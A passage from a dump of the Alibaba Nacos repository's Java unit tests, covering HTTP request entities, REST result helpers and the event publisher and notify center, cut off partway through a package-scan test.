org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass RequestHttpEntityTest {\n    \n    Header header;\n    \n    Query query;\n    \n    HttpClientConfig clientConfig;\n    \n    Object body;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        header = Header.newInstance();\n        header.addParam(\"testHeader\", \"test\");\n        query = Query.newInstance();\n        query.addParam(\"testQuery\", \"test\");\n        clientConfig = HttpClientConfig.builder().build();\n        body = new HashMap<>();\n    }\n    \n    @Test\n    void testConstructWithoutConfigAndBody() {\n        RequestHttpEntity entity = new RequestHttpEntity(header, query);\n        assertTrue(entity.isEmptyBody());\n        assertNull(entity.getHttpClientConfig());\n        assertNull(entity.getBody());\n        assertEquals(header.toString(), entity.getHeaders().toString());\n        assertEquals(query.toString(), entity.getQuery().toString());\n    }\n    \n    @Test\n    void testConstructWithoutConfigAndQuery() {\n        RequestHttpEntity entity = new RequestHttpEntity(header, body);\n        assertFalse(entity.isEmptyBody());\n        assertNull(entity.getHttpClientConfig());\n        assertNull(entity.getQuery());\n        assertEquals(header.toString(), entity.getHeaders().toString());\n        assertEquals(body, entity.getBody());\n    }\n    \n    @Test\n    void testConstructWithoutConfig() {\n        RequestHttpEntity entity = new RequestHttpEntity(header, query, body);\n        assertFalse(entity.isEmptyBody());\n        assertNull(entity.getHttpClientConfig());\n        assertEquals(query.toString(), entity.getQuery().toString());\n        assertEquals(header.toString(), entity.getHeaders().toString());\n        assertEquals(body, entity.getBody());\n    }\n    \n    @Test\n    void testConstructFull() {\n        RequestHttpEntity entity = new RequestHttpEntity(clientConfig, header, query, body);\n        assertFalse(entity.isEmptyBody());\n        assertEquals(clientConfig, entity.getHttpClientConfig());\n        assertEquals(query.toString(), entity.getQuery().toString());\n        assertEquals(header.toString(), entity.getHeaders().toString());\n        assertEquals(body, entity.getBody());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/model/RestResultTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.model;\n\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass RestResultTest {\n    \n    @Test\n    void testSerialization() {\n        RestResult<String> result = new RestResult<>(200, \"test\", \"content\");\n        String json = JacksonUtils.toJson(result);\n        assertTrue(json.contains(\"\\\"code\\\":200\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"data\\\":\\\"content\\\"\"));\n    }\n    \n    @Test\n    void testDeserialization() {\n        String json = \"{\\\"code\\\":200,\\\"message\\\":\\\"test\\\",\\\"data\\\":\\\"content\\\"}\";\n        RestResult restResult = JacksonUtils.toObj(json, RestResult.class);\n        assertEquals(200, restResult.getCode());\n        assertEquals(\"test\", restResult.getMessage());\n        assertEquals(\"content\", restResult.getData());\n        assertEquals(\"RestResult{code=200, message='test', data=content}\", restResult.toString());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/model/RestResultUtilsTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.model;\n\nimport com.alibaba.nacos.common.model.core.IResultCode;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass RestResultUtilsTest {\n    \n    @Test\n    void testSuccessWithDefault() {\n        RestResult<Object> restResult = RestResultUtils.success();\n        assertRestResult(restResult, 200, null, null, true);\n    }\n    \n    @Test\n    void testSuccessWithData() {\n        RestResult<String> restResult = RestResultUtils.success(\"content\");\n        assertRestResult(restResult, 200, null, \"content\", true);\n    }\n    \n    @Test\n    void testSuccessWithMsg() {\n        RestResult<String> restResult = RestResultUtils.success(\"test\", \"content\");\n        assertRestResult(restResult, 200, \"test\", \"content\", true);\n    }\n    \n    @Test\n    void testSuccessWithCode() {\n        RestResult<String> restResult = RestResultUtils.success(203, \"content\");\n        assertRestResult(restResult, 203, null, \"content\", false);\n    }\n    \n    @Test\n    void testFailedWithDefault() {\n        RestResult<Object> restResult = RestResultUtils.failed();\n        assertRestResult(restResult, 500, null, null, false);\n    }\n    \n    @Test\n    void testFailedWithMsg() {\n        RestResult<String> restResult = RestResultUtils.failed(\"test\");\n        assertRestResult(restResult, 500, \"test\", null, false);\n    }\n    \n    @Test\n    void testFailedWithCode() {\n        RestResult<String> restResult = RestResultUtils.failed(400, \"content\");\n        assertRestResult(restResult, 400, null, \"content\", false);\n    }\n    \n    @Test\n    void testSuccessWithFull() {\n        RestResult<String> restResult = RestResultUtils.failed(400, \"content\", \"test\");\n        assertRestResult(restResult, 400, \"test\", \"content\", false);\n    }\n    \n    @Test\n    void testFailedWithMsgMethod() {\n        RestResult<String> restResult = RestResultUtils.failedWithMsg(400, \"content\");\n        assertRestResult(restResult, 400, \"content\", null, false);\n    }\n    \n    @Test\n    void testBuildResult() {\n        IResultCode mockCode = new IResultCode() {\n            @Override\n            public int getCode() {\n                return 503;\n            }\n            \n            @Override\n            public String getCodeMsg() {\n                return \"limited\";\n            }\n        };\n        RestResult<String> restResult = RestResultUtils.buildResult(mockCode, \"content\");\n        assertRestResult(restResult, 503, \"limited\", \"content\", false);\n    }\n    \n    private void assertRestResult(RestResult restResult, int code, String message, Object data, boolean isOk) {\n        assertEquals(code, restResult.getCode());\n        assertEquals(message, restResult.getMessage());\n        assertEquals(data, restResult.getData());\n        assertEquals(isOk, restResult.ok());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/notify/DefaultPublisherTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DefaultPublisherTest {\n    \n    private DefaultPublisher publisher;\n    \n    @Mock\n    private Subscriber<MockEvent> subscriber;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        publisher = new DefaultPublisher();\n        publisher.init(MockEvent.class, 1);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        try {\n            publisher.shutdown();\n        } catch (Exception ignored) {\n        }\n    }\n    \n    @Test\n    void testInitWithIllegalSize() {\n        publisher.shutdown();\n        publisher = new DefaultPublisher();\n        publisher.init(MockEvent.class, -1);\n        assertTrue(publisher.isInitialized());\n    }\n    \n    @Test\n    void testCheckIsStart() {\n        assertThrows(IllegalStateException.class, () -> {\n            publisher.shutdown();\n            publisher = new DefaultPublisher();\n            publisher.checkIsStart();\n        });\n    }\n    \n    @Test\n    void testCurrentEventSize() {\n        assertEquals(0, publisher.currentEventSize());\n        publisher.publish(new MockEvent());\n        assertEquals(1, publisher.currentEventSize());\n    }\n    \n    @Test\n    void testRemoveSubscriber() {\n        publisher.addSubscriber(subscriber);\n        assertEquals(1, publisher.getSubscribers().size());\n        publisher.removeSubscriber(subscriber);\n        assertEquals(0, publisher.getSubscribers().size());\n    }\n    \n    @Test\n    void publishEventWhenQueueFull() {\n        // Stop the publisher thread to mock queue full.\n        publisher.shutdown();\n        publisher.publish(new MockEvent());\n        // Test throw event when no subscribers.\n        publisher.publish(new MockEvent());\n        verify(subscriber, never()).onEvent(any(MockEvent.class));\n        // Add subscriber to test\n        publisher.addSubscriber(subscriber);\n        publisher.publish(new MockEvent());\n        // Test scopeMatches not pass\n        verify(subscriber, never()).onEvent(any(MockEvent.class));\n        // Test scopeMatches pass\n        when(subscriber.scopeMatches(any(MockEvent.class))).thenReturn(true);\n        publisher.publish(new MockEvent());\n        verify(subscriber).onEvent(any(MockEvent.class));\n    }\n    \n    @Test\n    void publishEventQueueNotFull() throws InterruptedException {\n        when(subscriber.scopeMatches(any(MockEvent.class))).thenReturn(true);\n        MockEvent mockEvent = new MockEvent();\n        // Make sure Publisher entry waiting subscribers.\n        TimeUnit.MILLISECONDS.sleep(500);\n        publisher.addSubscriber(subscriber);\n        publisher.publish(mockEvent);\n        // Make sure Publisher find the subscribers.\n        TimeUnit.MILLISECONDS.sleep(600);\n        verify(subscriber).onEvent(mockEvent);\n        // Test subscriber ignore expired event.\n        publisher.publish(new MockEvent());\n        TimeUnit.MILLISECONDS.sleep(100);\n        reset(subscriber);\n        when(subscriber.scopeMatches(any(MockEvent.class))).thenReturn(true);\n        when(subscriber.ignoreExpireEvent()).thenReturn(true);\n        publisher.publish(mockEvent);\n        TimeUnit.MILLISECONDS.sleep(100);\n        verify(subscriber, never()).onEvent(mockEvent);\n    }\n    \n    @Test\n    void testHandleEventWithThrowable() throws InterruptedException {\n        when(subscriber.scopeMatches(any(MockEvent.class))).thenReturn(true);\n        doThrow(new RuntimeException(\"test\")).when(subscriber).onEvent(any(MockEvent.class));\n        publisher.addSubscriber(subscriber);\n        publisher.publish(new MockEvent());\n        TimeUnit.MILLISECONDS.sleep(1100);\n        verify(subscriber).onEvent(any(MockEvent.class));\n    }\n    \n    @Test\n    void testHandleEventWithExecutor() throws InterruptedException {\n        Executor executor = mock(Executor.class);\n        when(subscriber.scopeMatches(any(MockEvent.class))).thenReturn(true);\n        when(subscriber.executor()).thenReturn(executor);\n        publisher.addSubscriber(subscriber);\n        publisher.publish(new MockEvent());\n        TimeUnit.MILLISECONDS.sleep(1100);\n        verify(executor).execute(any(Runnable.class));\n    }\n    \n    @Test\n    void testReceiveEventWithException() throws InterruptedException {\n        Executor executor = mock(Executor.class);\n        when(subscriber.scopeMatches(any(MockEvent.class))).thenReturn(true);\n        when(subscriber.executor()).thenThrow(new RuntimeException(\"test\"));\n        publisher.addSubscriber(subscriber);\n        publisher.publish(new MockEvent());\n        TimeUnit.MILLISECONDS.sleep(1100);\n        verify(executor, never()).execute(any(Runnable.class));\n    }\n    \n    private static class MockEvent extends Event {\n        \n        private static final long serialVersionUID = -4081244883427311461L;\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/notify/DefaultSharePublisherTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DefaultSharePublisherTest {\n    \n    private static final AtomicLong TEST_SEQUENCE = new AtomicLong();\n    \n    DefaultSharePublisher defaultSharePublisher;\n    \n    @Mock\n    SmartSubscriber smartSubscriber1;\n    \n    @Mock\n    SmartSubscriber smartSubscriber2;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        defaultSharePublisher = new DefaultSharePublisher();\n        defaultSharePublisher.init(SlowEvent.class, 2);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        defaultSharePublisher.shutdown();\n    }\n    \n    @Test\n    void testRemoveSubscribers() {\n        defaultSharePublisher.addSubscriber(smartSubscriber1, MockSlowEvent1.class);\n        defaultSharePublisher.addSubscriber(smartSubscriber1, MockSlowEvent2.class);\n        defaultSharePublisher.addSubscriber(smartSubscriber2, MockSlowEvent2.class);\n        assertEquals(2, defaultSharePublisher.getSubscribers().size());\n        defaultSharePublisher.removeSubscriber(smartSubscriber1, MockSlowEvent1.class);\n        defaultSharePublisher.removeSubscriber(smartSubscriber1, MockSlowEvent2.class);\n        defaultSharePublisher.removeSubscriber(smartSubscriber2, MockSlowEvent2.class);\n        assertEquals(0, defaultSharePublisher.getSubscribers().size());\n    }\n    \n    @Test\n    void testReceiveEventWithoutSubscriber() {\n        defaultSharePublisher.addSubscriber(smartSubscriber1, MockSlowEvent1.class);\n        defaultSharePublisher.addSubscriber(smartSubscriber2, MockSlowEvent2.class);\n        defaultSharePublisher.receiveEvent(new SlowEvent() {\n            private static final long serialVersionUID = 5996336354563933789L;\n            \n            @Override\n            public long sequence() {\n                return super.sequence();\n            }\n        });\n        verify(smartSubscriber1, never()).onEvent(any(SlowEvent.class));\n        verify(smartSubscriber2, never()).onEvent(any(SlowEvent.class));\n    }\n    \n    @Test\n    void testReceiveEventWithSubscriber() {\n        defaultSharePublisher.addSubscriber(smartSubscriber1, MockSlowEvent1.class);\n        defaultSharePublisher.addSubscriber(smartSubscriber2, MockSlowEvent2.class);\n        defaultSharePublisher.receiveEvent(new MockSlowEvent1());\n        verify(smartSubscriber1).onEvent(any(MockSlowEvent1.class));\n        verify(smartSubscriber2, never()).onEvent(any(MockSlowEvent1.class));\n        defaultSharePublisher.receiveEvent(new MockSlowEvent2());\n        verify(smartSubscriber1, never()).onEvent(any(MockSlowEvent2.class));\n        verify(smartSubscriber2).onEvent(any(MockSlowEvent2.class));\n    }\n    \n    @Test\n    void testIgnoreExpiredEvent() throws InterruptedException {\n        MockSlowEvent1 mockSlowEvent1 = new MockSlowEvent1();\n        MockSlowEvent2 mockSlowEvent2 = new MockSlowEvent2();\n        defaultSharePublisher.addSubscriber(smartSubscriber1, MockSlowEvent1.class);\n        defaultSharePublisher.addSubscriber(smartSubscriber2, MockSlowEvent2.class);\n        defaultSharePublisher.publish(mockSlowEvent1);\n        defaultSharePublisher.publish(mockSlowEvent2);\n        TimeUnit.MILLISECONDS.sleep(1500);\n        verify(smartSubscriber1).onEvent(mockSlowEvent1);\n        verify(smartSubscriber2).onEvent(mockSlowEvent2);\n        reset(smartSubscriber1);\n        when(smartSubscriber1.ignoreExpireEvent()).thenReturn(true);\n        defaultSharePublisher.publish(mockSlowEvent1);\n        TimeUnit.MILLISECONDS.sleep(100);\n        verify(smartSubscriber1, never()).onEvent(mockSlowEvent1);\n    }\n    \n    private static class MockSlowEvent1 extends SlowEvent {\n        \n        private static final long serialVersionUID = -951177705152304999L;\n        \n        private final long sequence = TEST_SEQUENCE.incrementAndGet();\n        \n        @Override\n        public long sequence() {\n            return sequence;\n        }\n    }\n    \n    private static class MockSlowEvent2 extends SlowEvent {\n        \n        private static final long serialVersionUID = -951177705152304999L;\n        \n        private final long sequence = TEST_SEQUENCE.incrementAndGet();\n        \n        @Override\n        public long sequence() {\n            return sequence;\n        }\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/notify/NotifyCenterTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.notify;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.notify.listener.SmartSubscriber;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.NoSuchElementException;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NotifyCenterTest {\n    \n    private static AtomicInteger count;\n    \n    static {\n        System.setProperty(\"nacos.core.notify.share-buffer-size\", \"8\");\n    }\n    \n    SmartSubscriber smartSubscriber;\n    \n    Subscriber subscriber;\n    \n    @Mock\n    ShardedEventPublisher shardedEventPublisher;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        count = new AtomicInteger();\n        NotifyCenter.registerToSharePublisher(TestSlowEvent.class);\n        NotifyCenter.registerToPublisher(TestSlowEvent1.class, 10);\n        NotifyCenter.registerToPublisher(TestEvent.class, 8);\n        NotifyCenter.registerToPublisher(ExpireEvent.class, 16);\n        NotifyCenter.registerToPublisher(SharedEvent.class, shardedEventPublisher);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        if (null != smartSubscriber) {\n            NotifyCenter.deregisterSubscriber(smartSubscriber);\n        }\n        if (null != subscriber) {\n            NotifyCenter.deregisterSubscriber(subscriber);\n        }\n        NotifyCenter.deregisterPublisher(TestEvent.class);\n        NotifyCenter.deregisterPublisher(ExpireEvent.class);\n    }\n    \n    @Test\n    void testRegisterNullPublisher() {\n        int originalSize = NotifyCenter.getPublisherMap().size();\n        NotifyCenter.registerToPublisher(NoPublisherEvent.class, null);\n        assertEquals(originalSize, NotifyCenter.getPublisherMap().size());\n    }\n    \n    @Test\n    void testGetPublisher() {\n        assertEquals(NotifyCenter.getSharePublisher(), NotifyCenter.getPublisher(TestSlowEvent.class));\n        assertTrue(NotifyCenter.getPublisher(TestEvent.class) instanceof DefaultPublisher);\n    }\n    \n    @Test\n    void testEventsCanBeSubscribed() {\n        subscriber = new MockSubscriber<>(TestEvent.class, false);\n        smartSubscriber = new MockSmartSubscriber(Collections.singletonList(TestSlowEvent.class));\n        NotifyCenter.registerSubscriber(subscriber);\n        NotifyCenter.registerSubscriber(smartSubscriber);\n        assertTrue(NotifyCenter.publishEvent(new TestEvent()));\n        assertTrue(NotifyCenter.publishEvent(new TestSlowEvent()));\n        ThreadUtils.sleep(2000L);\n        assertEquals(2, count.get());\n    }\n    \n    @Test\n    void testCanIgnoreExpireEvent() throws Exception {\n        NotifyCenter.registerToPublisher(ExpireEvent.class, 16);\n        CountDownLatch latch = new CountDownLatch(3);\n        subscriber = new MockSubscriber<>(ExpireEvent.class, true, latch);\n        NotifyCenter.registerSubscriber(subscriber);\n        for (int i = 0; i < 3; i++) {\n            assertTrue(NotifyCenter.publishEvent(new ExpireEvent(3 - i)));\n        }\n        latch.await(5000L, TimeUnit.MILLISECONDS);\n        assertEquals(1, count.get());\n    }\n    \n    @Test\n    void testSharePublishEvent() throws InterruptedException {\n        CountDownLatch latch = new CountDownLatch(20);\n        Subscriber subscriber = new MockSubscriber<>(TestSlowEvent.class, false, latch);\n        Subscriber subscriber1 = new MockSubscriber<>(TestSlowEvent1.class, false, latch);\n        try {\n            NotifyCenter.registerSubscriber(subscriber);\n            NotifyCenter.registerSubscriber(subscriber1);\n            for (int i = 0; i < 10; i++) {\n                assertTrue(NotifyCenter.publishEvent(new TestSlowEvent()));\n                assertTrue(NotifyCenter.publishEvent(new TestSlowEvent1()));\n            }\n            latch.await(5000L, TimeUnit.MILLISECONDS);\n            assertEquals(20, count.get());\n        } finally {\n            NotifyCenter.deregisterSubscriber(subscriber);\n            NotifyCenter.deregisterSubscriber(subscriber1);\n        }\n    }\n    \n    @Test\n    void testMutipleSlowEventsListenedBySmartSubscriber() throws Exception {\n        List<Class<? extends Event>> subscribedEvents = new LinkedList<>();\n        subscribedEvents.add(TestSlowEvent.class);\n        subscribedEvents.add(TestSlowEvent1.class);\n        CountDownLatch latch = new CountDownLatch(6);\n        smartSubscriber = new MockSmartSubscriber(subscribedEvents, latch);\n        NotifyCenter.registerSubscriber(smartSubscriber);\n        for (int i = 0; i < 3; i++) {\n            assertTrue(NotifyCenter.publishEvent(new TestSlowEvent()));\n            assertTrue(NotifyCenter.publishEvent(new TestSlowEvent1()));\n        }\n        latch.await(5000L, TimeUnit.MILLISECONDS);\n        assertEquals(6, count.get());\n    }\n    \n    @Test\n    void testMutipleKindsEventsCanListenBySmartsubscriber() throws Exception {\n        List<Class<? extends Event>> subscribedEvents = new LinkedList<>();\n        subscribedEvents.add(TestEvent.class);\n        subscribedEvents.add(TestSlowEvent.class);\n        CountDownLatch latch = new CountDownLatch(6);\n        smartSubscriber = new MockSmartSubscriber(subscribedEvents, latch);\n        NotifyCenter.registerSubscriber(smartSubscriber);\n        for (int i = 0; i < 3; i++) {\n            assertTrue(NotifyCenter.publishEvent(new TestEvent()));\n            assertTrue(NotifyCenter.publishEvent(new TestSlowEvent()));\n        }\n        latch.await(5000L, TimeUnit.MILLISECONDS);\n        assertEquals(6, count.get());\n    }\n    \n    @Test\n    void testPublishEventByNoPublisher() {\n        for (int i = 0; i < 3; i++) {\n            assertFalse(NotifyCenter.publishEvent(new NoPublisherEvent()));\n        }\n    }\n    \n    @Test\n    void testPublishEventByPluginEvent() {\n        for (int i = 0; i < 3; i++) {\n            assertTrue(NotifyCenter.publishEvent(new PluginEvent()));\n        }\n    }\n    \n    @Test\n    void testDeregisterPublisherWithException() throws NacosException {\n        final int originalSize = NotifyCenter.getPublisherMap().size();\n        doThrow(new RuntimeException(\"test\")).when(shardedEventPublisher).shutdown();\n        NotifyCenter.getPublisherMap().put(SharedEvent.class.getCanonicalName(), shardedEventPublisher);\n        NotifyCenter.deregisterPublisher(SharedEvent.class);\n        assertEquals(originalSize - 1, NotifyCenter.getPublisherMap().size());\n    }\n    \n    @Test\n    void testPublishEventWithException() {\n        when(shardedEventPublisher.publish(any(Event.class))).thenThrow(new RuntimeException(\"test\"));\n        NotifyCenter.getPublisherMap().put(SharedEvent.class.getCanonicalName(), shardedEventPublisher);\n        assertFalse(NotifyCenter.publishEvent(new SharedEvent()));\n    }\n    \n    @Test\n    void testOperateSubscriberForShardedPublisher() {\n        subscriber = new MockSubscriber(SharedEvent.class, false);\n        NotifyCenter.getPublisherMap().put(SharedEvent.class.getCanonicalName(), shardedEventPublisher);\n        NotifyCenter.registerSubscriber(subscriber);\n        verify(shardedEventPublisher).addSubscriber(subscriber, SharedEvent.class);\n        NotifyCenter.deregisterSubscriber(subscriber);\n        verify(shardedEventPublisher).removeSubscriber(subscriber, SharedEvent.class);\n    }\n    \n    @Test\n    void testDeregisterNonExistSubscriber() {\n        assertThrows(NoSuchElementException.class, () -> {\n            try {\n                subscriber = new MockSubscriber(NoPublisherEvent.class, false);\n                NotifyCenter.deregisterSubscriber(subscriber);\n            } finally {\n                subscriber = null;\n            }\n        });\n    }\n    \n    private static class MockSubscriber<T extends Event> extends Subscriber<T> {\n        \n        private final Class<T> subscribedEvent;\n        \n        private final boolean ignoreExpiredEvent;\n        \n        private final CountDownLatch latch;\n        \n        private MockSubscriber(Class<T> subscribedEvent, boolean ignoreExpiredEvent) {\n            this(subscribedEvent, ignoreExpiredEvent, null);\n        }\n        \n        public MockSubscriber(Class<T> subscribedEvent, boolean ignoreExpiredEvent, CountDownLatch latch) {\n            this.subscribedEvent = subscribedEvent;\n            this.ignoreExpiredEvent = ignoreExpiredEvent;\n            this.latch = latch;\n        }\n        \n        @Override\n        public void onEvent(Event event) {\n            count.incrementAndGet();\n            if (null != latch) {\n                latch.countDown();\n            }\n        }\n        \n        @Override\n        public Class<? extends Event> subscribeType() {\n            return subscribedEvent;\n        }\n        \n        @Override\n        public boolean ignoreExpireEvent() {\n            return ignoreExpiredEvent;\n        }\n    }\n    \n    private static class MockSmartSubscriber extends SmartSubscriber {\n        \n        private final List<Class<? extends Event>> subscribedEvents;\n        \n        private final CountDownLatch latch;\n        \n        private MockSmartSubscriber(List<Class<? extends Event>> subscribedEvents) {\n            this(subscribedEvents, null);\n        }\n        \n        public MockSmartSubscriber(List<Class<? extends Event>> subscribedEvents, CountDownLatch latch) {\n            this.subscribedEvents = subscribedEvents;\n            this.latch = latch;\n        }\n        \n        @Override\n        public void onEvent(Event event) {\n            count.incrementAndGet();\n            if (null != latch) {\n                latch.countDown();\n            }\n        }\n        \n        @Override\n        public List<Class<? extends Event>> subscribeTypes() {\n            return subscribedEvents;\n        }\n    }\n    \n    private static class TestSlowEvent extends SlowEvent {\n        \n        private static final long serialVersionUID = 6713279688910446154L;\n    }\n    \n    private static class TestSlowEvent1 extends SlowEvent {\n        \n        private static final long serialVersionUID = 5946729801676058102L;\n    }\n    \n    private static class TestEvent extends Event {\n        \n        private static final long serialVersionUID = 2522362576233446960L;\n        \n        @Override\n        public long sequence() {\n            return System.currentTimeMillis();\n        }\n    }\n    \n    private static class NoPublisherEvent extends Event {\n        \n        private static final long serialVersionUID = 6532409163269714916L;\n    }\n    \n    private static class SharedEvent extends Event {\n        \n        private static final long serialVersionUID = 7648766983252000074L;\n    }\n    \n    private static class PluginEvent extends Event {\n        \n        private static final long serialVersionUID = -7787588724415976798L;\n        \n        @Override\n        public boolean isPluginEvent() {\n            return true;\n        }\n    }\n    \n    private static class ExpireEvent extends Event {\n        \n        private static final long serialVersionUID = 3024284255874382548L;\n        \n        private final long no;\n        \n        ExpireEvent(long no) {\n            this.no = no;\n        }\n        \n        @Override\n        public long sequence() {\n            return no;\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/packagescan/DefaultPackageScanTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan;\n\nimport com.alibaba.nacos.common.packagescan.mock.AnnotationClass;\nimport com.alibaba.nacos.common.packagescan.mock.MockClass;\nimport com.alibaba.nacos.common.packagescan.mock.TestScan;\nimport com.alibaba.nacos.common.packagescan.resource.PathMatchingResourcePatternResolver;\nimport com.alibaba.nacos.common.packagescan.resource.Resource;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Field;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static 